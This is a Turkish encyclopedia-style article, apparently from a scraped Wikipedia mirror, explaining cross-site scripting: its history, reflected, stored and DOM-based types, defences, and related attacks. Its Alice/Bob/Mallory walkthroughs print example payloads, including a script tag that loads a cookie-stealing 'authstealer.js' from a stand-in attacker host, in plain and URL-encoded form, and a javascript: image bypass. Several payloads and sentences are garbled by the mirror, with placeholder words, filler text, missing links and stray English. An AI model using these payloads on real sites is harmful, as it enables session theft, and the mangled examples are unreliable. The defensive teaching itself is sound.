Siteler arası betik çalıştırma (İngilizce: Cross-Site Scripting, kısa adıyla XSS), genellikle web uygulamalarında görülen, genellikle HTML enjeksiyonu zafiyetiyle birlikte ortaya çıkan veya Java Script kullanan bazı aplikasyonlarda bulunan bir güvenlik açıklığıdır. XSS, diğer kullanıcılar tarafından görüntülenen web sayfalarına istemci taraflı Java Script kodunun enjekte edilmesine imkân verir. Siteler arası betik çalıştırma açıklığı, saldırganlar tarafından gibi bazı erişim kontrollerini atlatmak ve hedef adresin oturum katmanını ele geçirmek için kullanılabilmektedir. Web sayfaları üzerinde gerçekleştirilen siteler arası betik çalıştırma saldırıları, 2007 itibarıyla Symantec'in raporladığı tüm güvenlik açıklıklarının yaklaşık olarak %84'ünü oluşturmaktadır. Zafiyet içeren sitenin işlediği verinin hassasiyetine ve site sahibi tarafından uygulanan güvenlik tedbirlerine bağlı olarak, etkisi ufak bir aksamadan önemli bir güvenlik riskine kadar değişebilmektedir.
Arka plan
Web güvenliği, aynı kök politikası gibi güven unsurunun temelinde yatan mekanizmalar gibi pek çok mekanizmaya bağlıdır. Aynı kök politikası basitçe, eğer bir siteye (https://mybank.example1.com) ait içeriğe başka bir sistem üzerindeki kaynaklara erişim yetkisi verilmişse, bu siteye ait herhangi bir içeriğin de bu izinleri paylaşacağı ancak başka bir siteye (https://othersite.example2.com) ait içeriğin erişim için ayrıca izin alması gerektiğini ifade etmektedir.
Siteler arası betik çalıştırma saldırıları, web tabanlı uygulamalardaki, bunların sunucularındaki veya gereksinim duydukları pluginlerdeki bilinen açıklıkları kullanmaktadır. Bunlardan birisini istismar ederek, saldırganlar zafiyet içeren siteden gelen içeriğin içerisine kötücül içeriği eklemektedir. Oluşan birleştirilmiş içerik istemci tarafındaki web tarayıcısına eriştiğinde, tamamı güvenilir kaynaktan alınmış olduğu için sisteme verilen izinlerle çalışmaktadır. Web sayfalarına kötücül betikleri enjekte etmenin yolunu bularak, saldırgan hassas sayfa içeriğine, oturum çerezlerine ve kullanıcı adına tarayıcı tarafından yönetilen diğer pek çok bilgiye yükseltilmiş erişim yetkileri elde edebilir. Siteler arası betik çalıştırma saldırıları, bir kod enjeksiyonu çeşididir.[]
Microsoft siber güvenlik mühendisleri, "siteler arası betik çalıştırma" ifadesini Ocak 2000'de ortaya çıkarmıştır. "Siteler arası betik çalıştırma" ifadesi ilk olarak, hedeflenen alan adının güvenlik bağlamında saldırganın hazırladığı JavaScript kod parçasının çalıştırılabileceği bir şekilde, alakasız bir saldırgan sitesine ait veya ele geçirilmiş üçüncü parti bir web uygulamasının (yansıtılmış veya kalıcı olmayan bir XSS açıklığını kullanarak) yüklenmesini ifade ediyordu. Bu tanım daha sonra, bilgi güvenliği alanına yeni katılanlar için bir karışıklığa neden olacak şekilde, kalıcı ve JavaScript olamayan vektörleri (ActiveX, Java, VBScript, Flash veya HTML betikleri) de dahil edecek şekilde diğer kod enjeksiyonu türlerini de içerecek şekilde genişletilmiştir.
XSS açıklıkları, 1990'lardan beri raporlanmakta ve istismar edilmektedir. Geçmişte etkilenmiş önemli siteler arasında Twitter, Facebook, MySpace, YouTube ve Orkut gibi sosyal medya siteleri bulunmaktadır. Siteler arası betik çalıştırma açıklıkları bu yüzden ara bellek taşması açıklığını geçerek en yaygın şekilde raporlanan güvenlik açıklığı olmuştur. 2007 yılında bazı araştırmacılar, web sitelerinin %68'inin XSS saldırılarına karşı açık olduğunu belirtmiştir.
Çeşitleri
Siteler arası betik çalıştırma açıklıklarının standartlaştırılmış tek bir sınıflandırması bulunmamaktadır, ancak uzmanların çoğunluğu en azından 2 ayrı sınıfa ayırmaktadır: kalıcı olmayan ve kalıcı. Bazı kaynaklar, geleneksel (sunucu tarafındaki kod kusurlarından kaynaklanan) ve DOM-tabanlı (istemci tarafındaki kod içerisinde) olarak iki ayrı gruba daha ayırmaktadır.
Yansıtılmış (kalıcı olmayan)
Kalıcı olmayan (veya yansıtılmış) siteler arası betik çalıştırma açıklığı en temel web açıklığıdır. Bu açıklık, web istemcisi tarafından, en yaygın olarak HTTP sorgu parametreleri üzerinden (örn. HTML formlarından), sağlanan veri, kullanıcı için bir sonuç sayfası göstermek ve oluşturmak için sunucu taraflı betikler tarafından düzgün bir şekilde sterilize edilmeden hızlıca kullanıldığında ortaya çıkmaktadır.
HTML dokümanları kontrol ifadelerini, formatlamayı ve gerçek içeriği içeren düz ve seri bir yapıya sahip olduğu için, düzgün bir HTML kodlaması olmadan sayfada yer alan kullanıcının sağladığı geçerlenmemiş veri, markup enjeksiyonuna yol açabilmektedir. Potansiyel bir vektör örneği web sitesi arama motorudur: eğer birisi bir metin için arama yaparsa, arama metni, neyin aratıldığını belirtmek amacıyla hiçbir değişikliğe uğramadan sayfada tekrar gösterilmektedir. Eğer cevap paketi HTML kontrol karakterlerini filtrelemiyorsa veya reddetmiyorsa, bir siteler arası betik çalıştırma zafiyeti de beraberinde gelecektir.
Yansıtılmış bir saldırı, genelde e-posta veya bir web sayfası üzerinden yapılmaktadır. Yem, XSS vektörü içeren ve güvenilir bir siteye işaret eden, masum görünümlü bir URL'dir. Eğer güvenilir site XSS vektörüne karşı korumasızsa, linke tıklanması kurban tarayıcısının enjekte edilen betiği çalıştırmasına yol açmaktadır.
Kalıcı
Kalıcı (veya depolanmış) XSS açıklığı, siteler arası betik çalıştırma açıklığının en yıkıcı çeşididir. Saldırgan tarafından sağlanan veri sunucuda saklandığında ve sonrasında diğer kullanıcıların düzenli gezinimi sırasında "normal" sayfa üzerinde kalıcı olarak gösterildiğinde ortaya çıkmaktadır. Tipik bir örneği, kullanıcıların diğer kullanıcıların okuması için HTML formatında mesajlar göndermesine izin veren çevrimiçi mesajlaşmadır.
Örnek olarak, üyelerin ilgilerini çekebilecek diğer üyeleri bulmak için diğer üyelerin profillerini tarayabildikleri bir randevu sitesini düşünelim. Gizlilik nedeniyle, site herkesin gerçek adını ve e-posta adreslerini gizli tutmaktadır. Bu veriler sunucuda gizli olarak tutulmaktadır. Bir üyenin gerçek adının ve e-posta adresinin tarayıcı üzerinde gözüktüğü tek zaman üye giriş yaptığında olmaktadır ve başka hiçbir kimsenin bilgilerini görememektedirler.
Bir saldırganın, Mallory'nin, siteye katıldığını ve sitede gördüğü insanların gerçek isimlerini öğrenmek istediğini varsayalım. Bunu yapabilmek için, diğer kullanıcıların tarayıcısında kendi profiline baktıklarında çalışacak bir betik yazar. Betik daha sonra bu bilgileri toplayan Mallory'e ait bir sunucuya mesaj gönderir.
Bunu yapabilmek için, "Sizin için ideal ilk randevuyu tanımlayınız" sorusuna Mallory (normal gözükecek) kısa bir cevap verir, ancak cevabının sonuna isimleri ve e-posta adreslerini çalmak için yazdığı betiği ekler. Eğer betik <script> etiketleri içerisine alınmışsa ekranda gözükmeyecektir. Sonrasında başka bir üye olan Bob'un Mallory'nin profiline baktığını varsayalım. Betik otomatik olarak tarayıcı tarafından çalıştırılacak ve Bob'un gerçek adı ve e-posta adresini doğrudan onun makinesi aracılığıyla çalacaktır.
Kalıcı XSS açıklıkları, saldırganın kötücül betiği bireysel olarak kurbanların hedeflenmesine veya üçüncü parti bir siteyi kullandırtmaya gerek olmadan otomatik olarak çalıştırıldığı için diğer türlere göre çok daha önemlidir. Özellikle sosyal ağ sitelerinde, kod istemci taraflı bir solucan türü oluşturarak hesaplar arasında kendisini yayacak şekilde tasarlanabilmektedir.
Enjeksiyon yöntemleri çok farklı olabilir; bazı durumlarda saldırgan böyle bir açıklığı istismar etmek için doğrudan web uygulaması ile etkileşime geçmeye ihtiyaç duymayabilmektedir. Saldırgan tarafından kontrol edilebilen ve web uygulaması tarafından alınan herhangi bir veri (e-posta, sistem logları, IM vb. üzerinden), enjeksiyon vektörü olabilmektedir.
Sunucu taraflı ve DOM-tabanlı açıklıkları
Tarihsel olarak XSS açıklıkları ilk olarak, tüm veriyi sunucu tarafında işleyen uygulamalarda bulunmaktaydı. Kullanıcı girdisi (XSS vektörleri dahil) sunucuya gönderilmekte ve sonrasında kullanıcıya web sayfası olarak geri gelmekteydi. Geliştirilmiş bir kullanıcı deneyimine olan ihtiyaç, AJAX kullanarak sunucudan ihtiyacı olduğunda veri çeken ve istemci tarafında çalışan bir sunum katmanı mantığına (JavaScript ile yazılabilir) sahip uygulamaların yaygınlaşmasına neden oldu.
JavaScript de kullanıcı girdisini işlediği ve web sayfası içeriğinde gösterdiği için, DOM-tabanlı siteler arası betik çalıştırma açıklığı olarak isimlendirilen yeni bir yansıtılmış XSS sınıfı oluştu. Bir DOM tabanlı XSS saldırısında, kötücül veri web sunucusuna ulaşmamaktadır. Bunun yerine, tamamen istemci tarafında olacak şekilde JavaScript kodu tarafından yansıtılmaktadır.
Örnek bir DOM tabanlı XSS açıklığı, 2011 yılında pek çok JQuery eklentisinde bulunan açıklıktır. DOM tabanlı XSS saldırıları için önleme stratejileri, geleneksel XSS önleme yöntemlerine çok benzerdir ancak JavaScript kodu içerisinde uygulanmaktadır ve web sayfaları içerisinde bulunmaktadır (örn. girdi denetimi ve sterilizasyon). Bazı JavaScript çerçeveleri bu ve diğer türdeki saldırılara karşı dahili önlemlere sahiptir — örneğin Angular.js.
Self-XSS
, kurbanı kötücül JavaScript kodunu tarayıcısında çalıştırmaya ikna etmeye çalışan ve sosyal mühendisliğe dayanan bir XSS açıklık çeşididir. Sosyal mühendislik yöntemleriyle kullanıcının kod çalıştırmasını sağlamaya dayandığı için teknik olarak bir XSS açıklığı olmasa da, düzgün bir şekilde yapıldığında normal bir XSS açıklığıyla aynı risklere sahip olmaktadır.
İstismar Örnekleri
Siteler arası betik çalıştırma açıklıklarını istismar etmek isteyen saldırganlar, her bir açıklık sınıfına farklı şekillerde yaklaşmalıdır. Her bir sınıf için özel bir saldırı vektörü burada açıklanacaktır. Aşağıdaki isimler, bilgisayar güvenliğinde yaygın olarak kullanılan Alice-Bob isimlendirmesinden alınan teknik terimlerdir.
() web sayfasına ve kullanıcının yerel ortamına saldırmak için kullanılabilmektedir.
Kalıcı olmayan
- Alice sık sık Bob tarafından host edilen bir web sitesini ziyaret etmektedir. Bob'un sitesi, Alice'in bir kullanıcı adı ve parola çiftiyle giriş yapmasına ve faturulandırma bilgisi gibi hassas verileri saklamasına izin vermektedir. Bir kullanıcı oturum açtığında, tarayıcı bir Authorization çerezi tutmakta ve böylece her iki bilgisayar (sunucu ve istemci) kullanıcının giriş yaptığını hatırlamaktadır.
- Mallory, Bob'un sitesinin yansıtılmış bir XSS açıklığına sahip olduğunu gözlemler:
- Arama sayfasını ziyaret ettiğinde, bir arama terimini arama kutusuna girdi olarak sağlar ve kaydet butonuna basar. Eğer hiçbir sonuç bulunamazsa, sayfa "not found" ifadesinin önüne arama terimini ekleyerek gösterir ve URL
http://bobssite.org?q=arama_terimi
. - "puppies" gibi normal bir arama sorgusuyla, sayfa sadece "puppies not found" ifadesini göstermekte ve URL "http://bobssite.org?q=puppies" olmaktadır.
- Ancak, "
html4strict
" gibi normal olmayan bir arama sorgusu gönderdiğinde:- ("xss" yazan) Bir uyarı kutusu görünür.
- Sayfa 'xss' ifadesi ile ilgili bir hata mesajı ile beraber "
html4strict
not found," ifadesini gösterir. - Url "
http://bobssite.org?q=<script%20type='text/javascript'>alert('xss');</script>
olmaktadır - ki bu da istismar edilebilecek bir davranıştır.
- Arama sayfasını ziyaret ettiğinde, bir arama terimini arama kutusuna girdi olarak sağlar ve kaydet butonuna basar. Eğer hiçbir sonuç bulunamazsa, sayfa "not found" ifadesinin önüne arama terimini ekleyerek gösterir ve URL
- Mallory açıklığı istismar etmek için bir URL oluşturur:
http://bobssite.org?q=yavru<script%20ttttttttt ttttttttt src="https://www.wikipedia.tr-tr.nina.az/image/aHR0cHM6Ly93d3cud2lraXBlZGlhLnRyLXRyLm5pbmEuYXovaW1hZ2UvYUhSMGNEb3ZMMjFoYkd4dmNubHpaWFpwYkhOcGRHVXVZMjl0TDJGMWRHaHpkR1ZoYkdWeUxtcHouanM=.js"></script>
URL'ini oluşturur. Ayrıcahttp://bobssite.org?q=yavru%3Cscript%2520src%3D%22http%3A%2F%2Fmallorysevilsite.com%2Fauthstealer.js%22%3E%3C%2Fscript%3E
gibi ASCII karakterlerini on altılı sayı sistemi formatına çevirebilir, böylece normal kullanıcılar kötücül URL'i hemen anlayamazlar.- "Şu sevimli kediciklere bakın" mesajıyla, Bob'un sitesinde üye olan ve şüphelenmeyecek bazı üyelere e-posta atar.
- Alice e-postayı alır. Kedileri sevdiği için linke tıklar. Bob'un sitesinde arama yapar, "puppies not found" ifadesini görür, ancak (ekranda gözükmeyen) script etiketi çalışır ve Mallory'nin authstealer.js programını yükler ve çalıştırır. Alice bunu unutur ve devam eder.
- Authstealer.js programı Alice'in tarayıcısında sanki Bob'un sitesinin bir parçası gibi çalışır. Alice'in Authorization çerezininin kopyasını alır ve Mallory'nin sunucusuna yollar.
- Mallory, Alice'in Authorization çerezini sanki kendisinkiymiş gibi tarayıcısına ekler. Sonrasında Bob'un sitesine gider ve Alice olarak giriş yapmış olur.
- Mallory sitenin Faturalandırma kısmına gider ve Alice'in kredi kartı numarasını öğrenir. Sonrasında parolayı değiştirme ekranına gidip parolayı değiştirir ve böylece Alice kendi hesabına giriş yapamaz.
- Saldırıyı bir adım daha geliştirerek, benzer bir şekilde oluşturulmuş bir linki Bob'a gönderir ve böylece Bob'un sitesi üzerinde yönetici yetkilerine sahip olur.
Bu saldırıyı engellemek için aşağıdaki birkaç önlem alınabilir:
- Arama girdisi, uygun kodlama kontrolünü içerecek şekilde sterilize edilebilir.
- Web sunucusu geçersiz istekleri yönlendirecek şekilde ayarlanabilir.
- Web sunucusu eşzamanlı girişi tespit edebilir ve oturumları sonlandırabilir.
- Web sunucusu iki farklı IP adresinden eşzamanlı girişi tespit edebilir ve oturumları sonlandırabilir.
- Web sitesi daha önce kullanılan kredi kartı numarasının sadece birkaç hanesini gösterebilir.
- Web sitesi kullanıcıların kayıt bilgilerini değiştirmeden önce tekrar parolalarını girmelerini gerektirebilir.
- Web sitesi 'nın pek çok farklı yönünü kullanabilir.
- Kullanıcılar, "tehlikesiz gözüken" ancak kötücül olan linklere tıklamamaları konusunda eğitilebilir.
- Çerez
HttpOnly
bayrağı ile işaretlenerek JavaScript'in çereze erişimi engellenebilir.
Kalıcı saldırı
- Mallory Bob'un sitesinde bir hesap oluşturur.
- Mallory Bob'un sitesinin bir depolanmış XSS açıklığı bulundurduğunu tespit eder. Haberler kısmına gider ve bir yorum eklerse, yorum olarak yazdığı her şey sayfada tekrar gösterilmektedir. Ama, eğer yorum içerisinde HTML etiketleri içeriyorsa, etiketler olduğu gibi gösterilmekte ve herhangi bir script etiketi çalıştırılmaktadır.
- Mallory Haberler bölümünde bir haber okur ve alttaki Yorumlar kısmına bir yorum yazar. Yorum kısmına şu ifadeyi ekler:
Buradaki kedilere bayılıyorum! Çok tatlılar!
<script ttttttttt ttttttttt src="https://www.wikipedia.tr-tr.nina.az/image/aHR0cHM6Ly93d3cud2lraXBlZGlhLnRyLXRyLm5pbmEuYXovaW1hZ2UvYUhSMGNEb3ZMMjFoYkd4dmNubHpaWFpwYkhOcGRHVXVZMjl0TDJGMWRHaHpkR1ZoYkdWeUxtcHouanM=.js">
- Alice (veya başka birisi) sayfayı bu yorumla birlikte yüklediğinde, Mallory'nin script etiketi çalışır ve Alice'in oturum çerezini çalar ve sonrasında Mallory'nin gizli sunucusuna gönderir.
- Mallory böylece Alice'in oturumunu çalabilir ve Alice'miş gibi davranabilir.
Bob'un web sitesi yazılımı, script etiketlerini kaldırmalı veya çalışamaz hale getirmek için bir şey yapmalıydı, ancak güvenlik açıklığı zaten yapmamış olmamasından kaynaklanmaktadır.
Önleyici tedbirler
Metin girdilerinin bağlamsal çıktı kodlaması/çevirimi
Bağlamsal çıktı kodlama/çevirimi, XSS saldırılarını durdurmak icing kullanılan birincil savunma mekanizmasıdır. Güvenilmeyen metinlerin HTML dokümanı içerisinde nereye konulacağına bağlı olarak kullanılabilecek HTML varlık çevirimi, JavaScript çevirimi, CSS çevirimi ve gibi pek çok farklı çevirim yöntemi bulunmaktadır. Zengin veri formatını kullanması gerekmeyen pek çok web uygulaması, basit bir şekilde XSS saldırıları riskini büyük ölçüde ortadan kaldırmak için kodlamayı/çevirimi kullanabilir.
Yaygın olarak tavsiye edilse de, saddle beş XML özel karakteri üzerinde HTML varlık kodlamasının kullanılması pek çok XSS saldırısı vektörünün engellemesinde yetersiz kalmaktadır. Kodlama genelde zor olduğu için, güvenlik için geliştirilmiş kodlama kütüphanelerinin kullanımı genellikle daha kolay bir çözüm olmaktadır.
Güvenli bir şekilde HTML girdisinin geçerlenmesi
Web uygulamalarının pen çoğu (örn. formula ve webmail) kullanıcıların belirli bir HTML etiketi setini kullanmalarına izin vermektedir. Kullanıcıdan HTML girdisi (örn. <b>çok</b>) alınırken, çıktı kodlaması (örn. <b>very</b> büyük), kullanıcı girdisi tarayıcı tarafından HTML girdisi olarak yorumlanması gerektiğinden ("<b>çok</b> büyük" şeklinde göstermek yerine "çok büyük" şeklinde göstermesi) yeterli olmamaktadır. will not suffice since the user input needs to be rendered as HTML by the browser (so it shows as "very large", instead of "<b>very</b> large"). Kullanıcıdan HTML girdisi alınırken XSS saldırılarının durdurulabilmesi çok daha karmaşık bir durumdur. Güvenilmeyen HTML girdisi, herhangi bir XSS kodu içermediğinden emin olunabilmesi için bir motorundan geçmelidir.
Pek çok geçerleme yöntemi, aşağıdaki gibi bazı "riskli" html etiketlerinin kaldırılmasına (kara liste uygulama) dayanmaktadır: Bu yaklaşım ile ilgili pek çok sorun bulunmaktadır. Örneğin, başarılı bir şekilde kullanıldığında XSS saldırısı ile sonuçlanabilecek bazı görünürde zararsız etiketlerin bırakılması.
(aşağıdaki örneğe bakınız)
<img src="javascript:alert(1)">
Diğer bir yaygın yöntem ise " ve ' işaretlerinin kullanıcı girdisinden çıkarılmasıdır. Ancak, bu da veri (Obfuscation) ile gizlenebileceği için atlatılabilmektedir.
Çerez güvenliği
İçerik filtreleme dışında, siteler arası betik çalıştırma önlemleri için başka kesin çözüm getirmeyen yöntemler de yaygın olarak kullanılmaktadır. Bir örneği, çerez tabanlı kullanıcı kimlik doğrulaması yapılırken ilave güvenlik kontrollerinin uygulanmasıdır. Çoğu web uygulaması bireysel HTTP istekleri arasında kimlik doğrulaması yapabilmek için oturum çerezlerini kullanmaktadır ve istemci taraflı betikler genelde bu çerezlere erişebildiği için basit XSS istismarları bu çerezleri çalabilmektedir. Bu tehdidi ortadan kaldırmak için (genel olarak XSS problemini çözmese de), çoğu web uygulaması başta giriş yapan kullanıcının IP adresi ile oturum çerezlerini ilişkilendirmekte ve sonrasında o çerezi sadece belirlediği IP adresinin kullanmasına izin vermektedir. Çoğu senaryoda (eğer saldırgan sadece çerezin peşinde ise) bu başarılı olmaktadır, ancak saldırganın kurbanla aynı NATlanmış IP adresini veya vekil sunucuyu kullandığı durumlarda veya kurbanın mobil IP adresini değiştirdiği durumlarda geçerli olmamaktadır.
Internet Explorer (versiyon 6 ve sonrası), Firefox (versiyon 2.0.0.5 ve sonrası), Safari (web tarayıcı) (versiyon 4 ve sonrası), Opera (versiyon 9.5 ve sonrası) ve Google Chrome'da bulunan bir diğer önleyici mekanizma da, istemci taraflı betiklere karşı bir çerezi erişilemez kılan HttpOnly bayrağıdır. Faydalı olsa da, bu özellik ne çerezin çalınmasını ne de tarayıcı içerisindeki saldırıları engellemektedir.
Betikleri devre dışı bırakmak
Web 2.0 ve Ajax geliştiricileri JavaScript kullanımını gerekli kılsa da, bazı web uygulamaları herhangi bir istemci taraflı betiğin çalışmasına ihtiyaç duymadan çalışacak şekilde yazılmıştır. Bu durum kullanıcıların, eğer torch ederlerse, uygulamayı kullanmadan önce tarayıcılarında betik çalıştırılmasını devre dışı bırakmalarına izin vermektedir. Bu şekilde, kötücül olması olası istemci taraflı betikler bile sterilize edilmeden sayfa içerisine eklenebilir ve kullanıcılar XSS açıklıklarına karşı korumasız kalmaz.
Bazı tarayıcılar veya tarayıcı eklentileri, alan adı seviyesinde istemci taraflı betiklerin çalışmasını engelleyecek şekilde yapılandırılabilir. Bu yaklaşım tamamen geçerli bir yaklaşım değildir, çünkü betik çalıştırma varsayılan olarak aktifse, kullanıcı sitenin kötücül olduğunu anladıktan yani iş işten geçtikten sonra engellenebilmektedir. Varsayılan olarak tüm betik çalıştırmayı engelleyen ve sonrasında kullanıcının alan adları için aktif hale getirilebilmesine izin veren yaklaşım çok daha etkilidir. Bu Internet Explorer (versiyon 4 ve üstü) üzerinde "Security Zones" ayarları ile ve Opera(versiyon 9 ve üstü) üzerinde "Site Specific Preferences" ayarları ile yapılabilmektedir. Firefox ve Gecko tabanlı tarayıcılar için bir çözüm de açık kaynak kodlu NoScript eklentisidir. Bu eklenti alan adı bazında betikleri aktif edebilmesine ek olarak betikler aktif edildiğinde de bir takım XSS koruma mekanizması uygulamaktadır.
Varsayılan olarak tüm sitelerde betikleri devre dışı bırakmakla ilgili en önemli sorun, işlevsellik ve cevap vermedeki önemli azalıştır (istemci taraflı betik çalıştırma, uzak bir sunucuya bağlantı kurma gereksinimi duymadığı için, sunucu taraflı betik çalıştırmaya göre hızlıdır). Betiklerin devre dışı bırakılmasıyla ilgili bir diğer sorun da, çoğu kullanıcının bunu anlamaması ve tarayıcılarını uygun bir şekilde nasıl güvenli yapacaklarını bilmemesidir. Bir diğer dezavantajı da, çoğu sitenin istemci taraflı betikler olmadan çalışmaması ve kullanıcıları bu özelliği devre dışı bırakmaya zorlaması ve sistemlerini açıklıklara açmasıdır. Firefox NoScript eklentisi, kullanıcının verilen bir sayfa üzerinde belirli betiklere izin vermesini aynı sayfadaki diğerlerini engellemesine izin vermektedir. Örneğin, example.com sitesine ait betiklere izin verilebilirken, aynı sayfa üzerinde çalışmayı deneyen reklamajansi.com sitesine ait betikler devre dışı bırakılabilir.
Gelişmekte olan savunma teknolojileri
Gelişmekte olan üç sınıf XSS savunması bulunmaktadır. Bunlar İçerik Güvenlik Politikası'nı, JavaScript mum havuzu araçlarını ve otomatik çevirim taslaklarını içermektedir. Bu mekanizmalar hala gelişmektedir, ancak XSS saldırılarının meydana geliş sıklığını büyük oranda düşürmeyi vadetmektedir.
Tarama hizmeti
Bazı şirketler, saldırının başarılı olup olmadığını test etmek için kendi sunucularından müşterininkine bir saldırı simüle ederek, periyodik bir tarama hizmeti sunmaktadır. Eğer saldırı başarılı olursa, müşteriye nasıl yapıldığına dair detaylı bilgi içeren bir rapor verilmekte ve müşteri başka birisi aynı saldırıyı yapmadan önce açıklığı kapatma şansı elde etmektedir. Güncel bir testi geçen site üzerinde güvenilirlik işareti gösterilebilir. Tarama aracı tüm olası açıklıkları bulamayabilir, ve bu yüzden güvenilirlik işaretine sahip siteler hala yeni saldırı türlerine karşı açık olabilir. Ancak tarama bazı problemleri tespit edebilir. Müşteri bu sorunları çözdükten sonra, site bu hizmet alınmadan önceki haline göre daha güvenli olmaktadır. XSS açıklıklarına karşı tam bir koruma gerektiren siteler için, kaynak kod analizi gibi değerlendirme yöntemleri gerekmektedir. İlave olarak, eğer JavaScript sayfa üzerinde çalışıyorsa, güvenilirlik işareti, işaretin statik bir kopyası ile taklit edilebilir. (bu yüzden, teoride, bu tür bir hizmet XSS risklerini ortadan kaldırmak için yeterli olmayacaktır).
İlgili güvenlik açıklıkları
Bir Global Siteler Arası Betik Çalıştırma (UXSS Vera Global XSS) saldırısında, tarayıcı içerisindeki açıklıklar istismar edilmektedir (XSS saldırılarında olduğu gibi diğer web sitelerindeki açıklıklar yerine). Bu tür saldırılar yaygın olarak Anonymous tarafından bir ağın kontrolünü ele geçirmek için DDoS'a ile beraber yapılmaktadır.
Farklı açıklık kategorileri veya saldırı teknikleri XSS ile ilgilidir: cross-zone scripting saldırısı bazı tarayıcılardaki "zone" mantığını istismar etmekte ve genelde daha yüksek yetkilerle kod çalıştırmaktadır. , HTTP protokolü seviyesindeki kodlama problemlerinden ötürü ( gibi saldırıları mümkün kılmasına ek olarak) siteler arası betik çalıştırma şartlarının oluşturulmasında kullanılabilmektedir.
Siteler arası istek sahteciliği (CSRF/XSRF) neredeyse XSS'in zıddı sayılabilir. Çünkü, kullanıcının siteye olan güvenini istismar etmek yerine, saldırgan (ve onun kötücül sayfası), kimliği doğrulanmış kullanıcıların bilinçli eylemlerini temsil ettiğine inandığı istekleri yollayarak sitenin istemci yazılımına olan güvenini istismar etmektedir. XSS açıklıkları (aynı Alan adı üzerinde çalışan diğer uygulamalardakiler dahil) saldırganların CSRF tedbirlerini atlatabilmesine izin vermektedir.
Gizli yönlendirme, XSS Vera Açık Yönlendirme saldırılarına karşı korumasız olan üçüncü parti istemcilerden faydalanmaktadır. Normal oltalama girişimleri kolayca tespit edilebilir, çünkü kötücül sayfanın URL bilgisi genelde gerçek site isminden birkaç harf uzakta olacaktır. Gizli yönlendirmenin farkı, saldırganın kötücül bir giriş diyalog kutusu ile site içeriğini bozarak gerçek siteyi kullanmasıdır.
Son olarak, SQL Enjeksiyonu bir uygulamanın veri tabanı katmanındaki bir açıklığı istismar etmektedir. Kullanıcı girdisi yanlış bir şekilde filtrelendiğinde, herhangi bir SQL ifadesi uygulama tarafından çalıştırılabilmektedir.
Ayrıca bakınız
- İnternet güvenliği
- XML harici varlık saldırısı
- Tarayıcı güvenliği
- Metasploit Projesi, XSS için de testler içeren bir açık kaynak kodlu sızma testi aracı
- w3af, açık kaynak kodlu bir web uygulama güvenliği tarayıcısı
- Betiklerin çalıştırılmasını engelleyen ücretsiz masaüstü tarayıcı eklentileri:
- Mozilla Firefox için: NoScript, ya da uBlock Origin'in gelişmiş özellikleri, genel bir içerik engelleme eklentisi
- Google Chrome için: ScriptSafe 3 Şubat 2019 tarihinde Wayback Machine sitesinde ., µMatrix 3 Nisan 2015 tarihinde Wayback Machine sitesinde . ( yaratıcısından bir eklenti) veya 'un gelişmiş özellikleri
- Opera (yeni Chromium tabanlı sürümleri) için: µMatrix 29 Aralık 2018 tarihinde Wayback Machine sitesinde . veya 'un gelişmiş özellikleri
- Safari için: JavaScript Blocker 8 Ağustos 2020 tarihinde Wayback Machine sitesinde . veya 'un gelişmiş özellikleri
- Internet Explorer için: , Güvenilen ve Yasaklanan Siteler belirlemek için bir arayüz (sadece 32-bit destekler, bu yüzden 64-bit Windows üzerinde gelişmiş ile çalışmamaktadır)
- XSSer 18 Eylül 2020 tarihinde Wayback Machine sitesinde .: XSS açıklıklarını tespit etmek, istismar etmek ve raporlamak için otomatize bir çerçeve yazılım
Kaynakça
- ^ During the second half of 2007, 11,253 site-specific cross-site vulnerabilities were documented by XSSed, compared to 2,134 "traditional" vulnerabilities documented by Symantec, in (PDF). Cilt XIII. Symantec Corp. Nisan 2008. ss. 1-3. 25 Haziran 2008 tarihinde kaynağından (PDF) arşivlendi. Erişim tarihi: 11 Mayıs 2008.
- ^ "Same Origin Policy - Web Security. W3.org". 27 Ocak 2017 tarihinde kaynağından . Erişim tarihi: 4 Kasım 2014.
- ^ "dross" on MSDN (15 Aralık 2009). "Happy 10th birthday Cross-Site Scripting!". 30 Mayıs 2015 tarihinde kaynağından . Erişim tarihi: 19 Mart 2016.
On the 16th of January, 2000, the following names were suggested and bounced around among a small group of Microsoft security engineers: [...] The next day there was consensus – Cross Site Scripting.
- ^ Grossman, Jeremiah (30 Temmuz 2006). . 21 Şubat 2017 tarihinde kaynağından arşivlendi. Erişim tarihi: 15 Eylül 2008.
- ^ Arthur, Charles (21 Eylül 2010). "Twitter users including Sarah Brown hit by malicious hacker attack". The Guardian. 16 Ekim 2015 tarihinde kaynağından . Erişim tarihi: 21 Eylül 2010.
- ^ Leyden, John (23 Mayıs 2008). "Facebook poked by XSS flaw". The Register. 11 Ekim 2011 tarihinde kaynağından . Erişim tarihi: 28 Mayıs 2008.
- ^ . Web Application Security Consortium. 17 Şubat 2008. 21 Ekim 2010 tarihinde kaynağından arşivlendi. Erişim tarihi: 28 Mayıs 2008.
- ^ Dignan, Larry (21 Nisan 2008). "Obama site hacked; Redirected to Hillary Clinton". ZDNet. 27 Mart 2014 tarihinde kaynağından . Erişim tarihi: 28 Mayıs 2008.
- ^ Christey, Steve; Martin, Robert A. (22 Mayıs 2007). . MITRE Corporation. 3 Ekim 2016 tarihinde kaynağından arşivlendi. Erişim tarihi: 7 Haziran 2008.
- ^ Berinato, Scott (1 Ocak 2007). "Software Vulnerability Disclosure: The Chilling Effect". CSO. CXO Media. s. 7. 18 Nisan 2008 tarihinde kaynağından . Erişim tarihi: 7 Haziran 2008.
- ^ Amit, Yair (21 Aralık 2005). . Watchfire. 13 Ekim 2016 tarihinde kaynağından arşivlendi. Erişim tarihi: 29 Mayıs 2008.
- ^ Paco, Hope; Walther, Ben (2008). Web Security Testing Cookbook. Sebastopol, CA: O'Reilly Media, Inc. s. 128. ISBN .
- ^ . Web Application Security Consortium. 2005. 1 Haziran 2010 tarihinde kaynağından arşivlendi. Erişim tarihi: 28 Mayıs 2008.
- ^ Grossman, Jeremiah; Hansen, Robert; Fogie, Seth; Petkov, Petko D.; Rager, Anton (2007). XSS Attacks: Cross Site Scripting Exploits and Defense (Abstract). Elsevier Science & Technology via Google Book Search. ss. 70, 156. ISBN . 1 Aralık 2016 tarihinde kaynağından . Erişim tarihi: 28 Mayıs 2008.
